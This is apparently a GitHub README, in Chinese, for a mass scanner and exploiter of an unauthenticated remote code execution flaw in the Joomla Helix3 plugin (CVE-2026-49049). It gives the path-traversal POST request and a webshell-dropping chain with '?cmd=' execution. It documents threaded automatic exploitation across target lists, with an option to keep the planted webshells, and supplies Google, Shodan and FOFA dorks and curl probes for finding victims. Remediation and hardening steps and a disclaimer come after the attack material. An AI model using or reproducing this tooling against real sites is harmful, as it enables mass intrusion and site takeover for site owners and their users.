ExDev994/CVE-2026-49049

GitHub: ExDev994/CVE-2026-49049

针对 Joomla Helix3 插件未授权 AJAX 远程代码执行漏洞(CVE-2026-49049)的批量扫描与验证工具。

Stars: 0 | Forks: 0

# CVE-2026-49049 — Helix3 (JoomShaper) Joomla 未授权 AJAX RCE 扫描器 [![CVE](https://img.shields.io/badge/CVE-2026--49049-critical)](https://nvd.nist.gov/vuln/detail/CVE-2026-49049) [![CVSS](https://img.shields.io/badge/CVSS-7.5_HIGH-orange)](https://nvd.nist.gov/vuln/detail/CVE-2026-49049) [![Python](https://img.shields.io/badge/Python-3.9+-blue)](https://www.python.org/) [![License](https://img.shields.io/badge/License-Educational-lightgrey)](#disclaimer) [![Author](https://img.shields.io/badge/Author-ExDev994-black)](https://github.com/ExDev994) 针对 **CVE-2026-49049** 的批量扫描器 / 验证脚本:Joomla 的 **Helix3 Framework** 插件中存在未授权 AJAX 处理程序(**v1.0 – 3.1.0**,已在 **3.1.1+** 版本中修复)。 ## 目录 - [漏洞概述](#vulnerability-overview) - [RCE 链](#rce-chain) - [安装说明](#installation) - [使用方法](#cara-penggunaan-usage) - [输出示例](#example-output) - [侦察 Dorks](#reconnaissance-dorks) - [修复指南](#cara-fix-remediation) - [项目结构](#project-structure) - [贡献](#contributing) - [参考](#references) - [免责声明](#disclaimer) ## 漏洞概述 `plugins/ajax/helix3/helix3.php` 中的 `onAjaxHelix3()` 处理程序可以通过 Joomla 的 `com_ajax` 在**无需身份验证 / CSRF token** 的情况下访问: ``` POST /index.php?option=com_ajax&plugin=helix3&format=json Content-Type: application/x-www-form-urlencoded data[action]=save&data[layoutName]=../../up.php&data[content]= ``` | Action | 影响 | 受影响版本 | |--------|--------|----------| | `save` | 任意 JSON 文件写入 + **路径穿越** | 1.0 – 3.1.0 | | `remove` | 任意文件删除(无扩展名 / 路径限制) | 1.0 – 3.1.0 | | `import` | 覆盖数据库中的模板参数(`custom_js` 未转义 → XSS / 篡改网页) | 仅 v3.x | | Helix3 版本 | save / remove | import | 状态 | |----------------|---------------|--------|--------| | 1.0 – 2.x | 易受攻击 | 不存在 | 易受攻击 | | 3.0 – 3.1.0 | 易受攻击 | 易受攻击 | 易受攻击 | | **3.1.1+** | 已修复 | 已修复 | 安全 | ## RCE 链 在野的大规模主动利用通常会投放一个双扩展名 webshell: 1. 探测 Helix3 及其版本(`< 3.1.1`) 2. 调用 `save` 并传入 `layoutName=../../up.php` + PHP webshell 内容 3. 保存时会自动追加 `.json` 后缀 → `up.php.json` 生成在 Web 根目录下 4. Apache 的 `AddHandler` 多扩展名机制会执行 `.php` 部分 5. `GET /up.php.json?cmd=id` → `uid=33(www-data)` = **SHELL OK** ``` Detect Helix3 → POST com_ajax?plugin=helix3 (action=save, traversal) → up.php.json written → GET up.php.json?cmd=id → uid=33(www-data) ``` ## 安装说明 ``` git clone https://github.com/ExDev994/CVE-2026-49049.git cd CVE-2026-49049 pip install -r requirements.txt ``` 环境依赖:`requests>=2.31.0`, `colorama>=0.4.6`, Python 3.9+。 ## 使用方法 ### 1. 准备目标 编辑 `targets.txt` — 每行一个 URL / 主机(`#` 表示注释)。Joomla 路径将被保留: ``` # 示例 https://example.com/ https://example.com/joomla/ http://192.168.1.50/ ``` ### 2. 只读扫描(仅探测) 不投放 webshell。仅检测版本并探测 `save` / `remove` / `import`: ``` python3 scan.py -f targets.txt --scan -o results.txt ``` ### 3. 自动化:探测 + 投放 webshell + 验证 RCE ``` python3 scan.py -f targets.txt --auto -c "id" -o results.txt ``` ### 4. 单一目标 ``` python3 scan.py -t https://target.tld/joomla/ --auto -c "id" ``` ### 5. 进阶选项 ``` # 在 verify 后保留 webshell(demo authorized) python3 scan.py -f targets.txt --auto --keep # 自定义 webshell 名称 + 遍历深度 python3 scan.py -f targets.txt --auto \ --webshell-name up.php \ --traversal-depths "../../,../../../" # JSON 报告 + 并发 python3 scan.py -f targets.txt --auto -c "whoami" \ --threads 20 --timeout 15 \ -o results.txt --json report.json # Proxy (Burp / 等) python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080 ``` ### 重要 Flags | Flag | 描述 | |------|-----------| | `-f` / `--file` | 目标列表文件(默认:如果未指定 `-t`,则为 `targets.txt`) | | `-t` / `--target` | 单一目标 URL | | `--scan` | 只读探测 | | `--auto` | 探测 + 验证 RCE(默认) | | `-c` / `--cmd` | 验证命令(默认:`id`) | | `-o` / `--output` | 结果输出文件 — **仅包含 VULN / SHELL_OK 的目标** | | `--json` | 结构化 JSON 报告 | | `--keep` | 验证后不自动移除 webshell | | `--threads` | 并发线程数(默认:15) | | `--timeout` | HTTP 超时秒数(默认:15) | ## 输出示例 **终端** 将显示所有状态(进度)。**`results.txt` 仅包含存在漏洞的条目:** ``` [v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N [id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data) shell: https://target.tld/up.php.json?cmd=id [ ] VULN (no shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y ``` 其他标签(`PATCHED`, `NOT_HELIX3`, `TIMEOUT`, `UNKNOWN`)仅显示在终端中,不会写入 `results.txt`。 ## 侦察 Dorks 使用以下 dork 来查找可能受影响的 Helix3 / Joomla 资产。**请仅扫描已授权的目标。** ### Google ``` inurl:templates/shaper_helix3/templateDetails.xml inurl:"templates/shaper_helix3" "shaper_helix3" "Joomla" inurl:index.php?option=com_ajax "helix3" "powered by Helix" Joomla intitle:"Home" "shaper_helix3" inurl:/templates/helix3/ ``` ### Shodan ``` http.html:"shaper_helix3" http.html:"Helix3" http.html:"Joomla" http.title:"Joomla" "shaper_helix3" http.html:"/templates/shaper_helix3/" http.html:"joomshaper" product:"Joomla" html:"plg_system_helix3" ``` ### FOFA ``` body="shaper_helix3" body="/templates/shaper_helix3/" && body="Joomla" body="Helix3" && body="joomshaper" body="plg_ajax_helix3" || body="onAjaxHelix3" title="Joomla" && body="shaper_helix3" body="templateDetails.xml" && body="helix3" ``` ### 手动指纹识别(获取 host 后) ``` # 版本检查 curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version # Unauth save probe(仅限 authorized) curl -sk -X POST \ 'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \ -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}' ``` ## 修复指南 ### 1. 立即打补丁(必须) 将 **System – Helix3 Framework** 和 **Helix3 – Ajax** 插件更新至 **3.1.1 或更高版本**(建议更新至 **3.1.2**)。 - Joomla 后台 → 系统 → 更新 / 扩展 - 或者从 [JoomShaper](https://www.joomshaper.com/) 下载官方安装包并手动安装 ### 2. 如果已被入侵 / 篡改 更新 **不会** 清理已经写入数据库的 payload。 1. 后台 → 站点模板样式 → 当前启用的 Helix3 模板 2. 打开 **Custom Code** — 删除 Custom JavaScript / CSS / Before Head 中插入的未知脚本 3. 检查 `#__template_styles` 表的 `params` 字段,清理被注入的 `custom_js` / `custom_css` 4. 删除 Web 根目录 / templates / `tmp` / `media` 下的可疑文件: - `up.php.json`, `cox.json`, `*.php.json` 及其他 webshell 5. 更换管理员凭据,审查用户账户,审计 cron / 计划任务 常见的被入侵标志:网页被篡改为 **"Hacked by AntonKill"** / **"trenggalek6etar"**,被注入了 `custom_js`,以及未知的 JSON 文件。 ### 3. 安全加固(纵深防御) **Apache** — 不要使用 `AddHandler` 多重扩展名解析;请使用: ``` SetHandler application/x-httpd-php ``` **Nginx:** ``` location ~ \.php$ { try_files $uri =404; fastcgi_pass unix:/run/php/php-fpm.sock; } ``` **PHP `php.ini`:** ``` disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec ``` **文件上传 / 写入:** 重新生成文件名,拒绝多重扩展名,在公共目录设置 `AllowOverride None`。 ### 4. 补丁修复后的验证 ``` python3 scan.py -t https://YOUR-SITE/ --scan # 预期:PATCHED Helix3 3.1.1+(如果卸载了插件,则为 NOT_HELIX3) ``` ## 项目结构 ``` CVE-2026-49049/ ├── scan.py # CLI entry point ├── core/ │ ├── engine.py # ThreadPoolExecutor + results (vuln-only to file) │ ├── probe.py # Helix3 detect + save/remove/import + RCE drop │ └── target.py # Parse / normalize targets.txt ├── utils/ │ └── banner.py ├── targets.txt # Input targets ├── results.txt # Generated (VULN / SHELL_OK only) ├── requirements.txt └── README.md ``` ## 参考 - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49049 - Advisory (mySites.guru): https://mysites.guru/blog/helix3-security-update-changelog-failure/ - JoomShaper Helix3: https://www.joomshaper.com/ - 只读 PoC 参考: https://github.com/shinthink/CVE-2026-49049 - 本项目仓库: https://github.com/ExDev994/CVE-2026-49049 ## 免责声明 本工具仅供 **教育** 和 **授权的安全测试** 使用。 未经授权访问计算机系统是非法的,可能违反印度尼西亚 **UU ITE**、美国 CFAA 以及其他司法管辖区的相关法律。 作者([ExDev994](https://github.com/ExDev994))对滥用行为 **不承担任何责任**。使用本软件即表示您对自己的行为承担全部责任。`--auto` 模式会投放临时 webshell — 请仅在已授权的目标上使用。
标签:CISA项目, Joomla, Python, 加密, 无后门, 漏洞扫描器, 编程工具, 远程代码执行, 逆向工具